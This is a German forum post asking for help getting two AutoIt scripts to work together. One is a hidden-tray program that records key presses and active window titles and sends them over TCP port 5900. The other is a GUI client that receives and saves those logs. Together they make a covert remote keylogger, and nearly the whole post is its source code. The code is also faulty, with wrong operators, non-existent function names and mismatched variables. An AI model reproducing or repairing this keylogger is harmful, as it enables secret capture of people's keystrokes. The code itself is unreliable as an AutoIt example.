Ich habe ein kleines problem mit den 2 Scripten hier. Die wollen irgendwie nicht harmonieren. Könnt ihr mir da helfen? Ich hab sicher irgendwo flüchtigkeitsfehler oder bin einfach nur blöd.
Code:
#Include <Misc.au3>
#NoTrayIcon
TCPStartup()
Local $window2 = ''
$Socket = TCPListen('(leleleIP adresse!)', 5900,1) ;Für (leleleIP) später §IPAdress einfügen
Do
$Connection = TCPAccept($Socket)
Until $Connection <> -1
$dll = DllOpen("user32.dll")
While 1 ;Endlosschleife
if _IsPressed ('41', $dll) Then
$window2 = WinGetTitle('')
if $window - $window2 Then
TCPSend($Connection,'a')
Sleep(150)
Else
$window2 - $window
TCPSend($Connection, @CRLF & '[' & @YEAR & "." & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC & '] Window : ' & $window & @CRLF)
TCPSend($Connection, 'a') ; Sende an Client a
Sleep(150)
EndIf
EndIf
Sleep(1)
WEnd
Code:
HotKeySet('(F1)','_disconnect')
HotKeySet('(F2)','_exit') ;Seite HotKeys
MsgBox(0,'Info','To save the logs, press F1 and for reconnect, start the client again.' & @CRLF & 'F2 = Exit')
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <File.au3>
#include <GUIConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Tester", 373, 426, 257, 155)
$ip_adress = GUICtrlCreateInput("Die IP adresse!", 16, 16, 121, 21)
$Button1 = GUICtrlCreateButton("Connection", 152, 16, 91, 25, 0)
$Status = GUICtrlCreateLabel("Disconnect", 272, 16, 58, 17)
GUICtrlSetColor(-1, 0xFF0000)
$Edit1 = GUICtrlCreateEdit("", 16, 56, 345, 321, BitOR($ES_AUTOVSCROLL,$ES_AUTOHSCROLL,$ES_READONLY,$ES_WANTRETURN))
$Button2 = GUICtrlCreateButton("Save", 16, 392, 345, 25, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
Global $disconnect = 0
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Button1
$disconnect = 0
TCPStartup()
$Connection = TCPConnect(GUICtrlRead($ip_adress), 5900)
If $Connection < 0 Then
MsgBox(16, 'Error', 'Verbindung konnte nicht aufgebaut werden.')
_exit()
Else
While $disconnect = 0 ;Solange $disconnect auf 0 ist...
GUICtrlCreateData($status, 'Connected')
GUICtrlCreateColor($status, 0x00FF00)
$Resv = TCPRecv($Connection, 2)
GUICtrlCreateData($Edit1, $Resv,1)
if @error Then ;Wenn ein Error auftritt...
MsgBox(16,'Error','Verbindung unterbrochen!')
_exit()
EndIf
WEnd
EndIf
Case $Button2
if NOT FileExists(@ScriptDir & 'log.txt') Then
_FileCreate('log-txt')
Sleep(200)
$title = FileOpen('log.txt' , 1)
Else
$title = FileOpen('log.txt' , 1)
EndIf
FileWrite($File, GUICtrlRead($Edit1))
Sleep(500)
FileClose($file)
EndSwitch
WEnd
Func _disconnect()
$disconnect = 1
GUICtrlSetData($status, 'Disconnected')
GUICtrlSetColor($status, 0xFF0000)
EndFunc
Func _exit()
TCPCloseSocket($Connection)
TCPShutdown()
Exit
EndFunc
Das war es dann...







